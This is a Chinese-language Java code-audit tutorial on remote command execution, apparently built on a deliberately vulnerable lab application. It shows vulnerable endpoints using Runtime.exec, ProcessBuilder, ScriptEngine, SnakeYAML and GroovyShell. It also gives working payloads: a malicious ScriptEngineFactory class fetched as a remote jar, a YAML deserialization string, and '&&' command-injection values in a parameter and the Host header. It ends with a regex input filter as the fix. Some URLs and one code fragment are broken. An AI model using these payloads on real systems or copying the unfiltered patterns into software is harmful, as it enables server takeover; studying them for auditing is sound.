Java代码审计之RCE远程命令执行
漏洞原理:
RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。
出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而若是设计者在完成该功能时,没有作严格的安全控制,则可能会致使攻击者经过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
runtime/exec
访问url为http://localhost:8080/rce/runtime/exec?cmd=whoami
http://localhost:8080/rce/runtime/exec?cmd=calc
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
最基础的Runtime.getRuntime().exec(cmd),直接传入命令即可执行。
ProcessBuilder
访问url为http://localhost:8080/rce/ProcessBuilder?cmd=whoami。
同样也是直接执行命令,不同的是使用的是ProcessBuilder来执行命令。ProcessBuilder传入参数为列表,第
一个参数为可执行命令程序
,后面的参数为执行的命令程序的参数。
/**
* http://localhost:8080/rce/ProcessBuilder?cmd=whoami
* @param cmd cmd
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try {
//String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
String[] arrCmd = {cmd}; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
jscmd
访问url为http://localhost:8080/rce/jscmd?jsurl=http://localhost/exe.js,传入的参数为一个JavaScript代码的url地址
http://localhost/exe.js
var a = mainOutput();
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc");
}
源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。
/**
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
*
* curl
http://
xx.yy/exe.js
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
*
* @param jsurl js url
*/
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");//通过文件扩展名获取:
//ScriptEngine engine = manager.getEngineByName("JavaScript");//通过脚本名称获取:
//ScriptEngine engine = manager.getEngineByMimeType("text/javascript"); //通过MIME类型来获取:
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}
yml
YAML(YAML Ain't Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件
yaml有三种数据结构
对象
写在一行
address: {province: 山东, city: 济南}
写在多行
address:
province: 山东
city: 济南
数组
写在一行
hobbyList: [游泳, 跑步]
写在多行
hobbyList:
- 游泳
- 跑步
纯量
- 字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或双引号都可以
userId: S123
username: "lisi"
password: '123456'
province: 山东
city: "济南 : ss"
- 布尔值
success: true
- 整数
age: 13
- 浮点数
weight: 75.5
- Null
gender: ~
- 时间
时间使用ISO8601标准 [ISO8601]( https:// baike.baidu.com/item/IS O 8601/3910715?fr=aladdin)
createDate: 2001-12-14T21:59:43.10+05
使用snakeyaml将yaml文件解析成javabean
添加maven依赖
复制<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
访问url为http://localhost:8080/rce/vuln/yarm
利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。
先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。
public void yarm(String content) {
Yaml y = new Yaml();
y.load(content);
}
payload在 https:// github.com/artsploit/ya ml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java 有。
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
对上面java代码进行打包
在javac.exe下进行编译
![image-20220302180325029](Java代码审计.assets/image-20220302180325029.png)
创建了jar.exe的快捷方式,注意生成yaml的路径
![image-20220302182653283](Java代码审计.assets/image-20220302182653283.png)
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
随后将以下内容传递给参数即可。
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
!!java.net.URL ["http://localhost/yaml-payload.jar"]
]]
]
拼接后url
http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://localhost/yaml-payload.jar%22]]]]
groovy
Groovy是一种基于 JVM 的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码
Groovy语法:
https://www.
w3cschool.cn/groovy/
访问url为http://localhost:8080/rce/groovy?content='calc'.execute()
GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
关键词:
Runtime StringBuilder ScriptEngineManager Yaml GroovyShell
命令执行(CommandInject)
codeinject
访问url为http://localhost:8080/codeinject?filepath=src%26%26ipconfig
获取一个参数filepath,然后通过ProcessBuilder将数组cmdList中的字符串拼接起来执行命令,由于没有对输入filepath进行过滤,原本用作查看目录下文件的一个功能就会被执行恶意命令。
通过Java执行系统命令,与cmd中或者终端上一样执行shell命令,最典型的用法就是使用Runtime.getRuntime().exec(command)或者new ProcessBuilder(cmdArray).start()。从JDK1.5开始,官方提供并推荐使用ProcessBuilder类进行shell命令操作
public String codeInject(String filepath) throws IOException {
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);//将标准输入流和错误输入流合并,通过标准输入流读取信息
Process process = builder.start();//通过start方法启动前面输入的命令
return WebUtils.convertStreamToString(process.getInputStream());
}
使用 && 将我们要执行的命令拼接在参数后面就可以达到命令注入的目的。
codeinject/host
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?
Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如
http://www.
test.com
和
http://
mail.test.com
两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。
也就是说请求头中的host字段是可以被人为修改的,通过request.getHeader("host")从请求头直接获取host是不安全的,当我们构造这样的host字段时就会造成命令注入Host: www.baidu.com&&ipconfig。
codeinject/sec
这里给出了codeinject的修复版本,利用SecurityUtil.cmdFilter来对传入的参数进行过滤,严格限制用户输入只能包含a-zA-Z0-9_-.字符。
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
return null;
}
return input;
}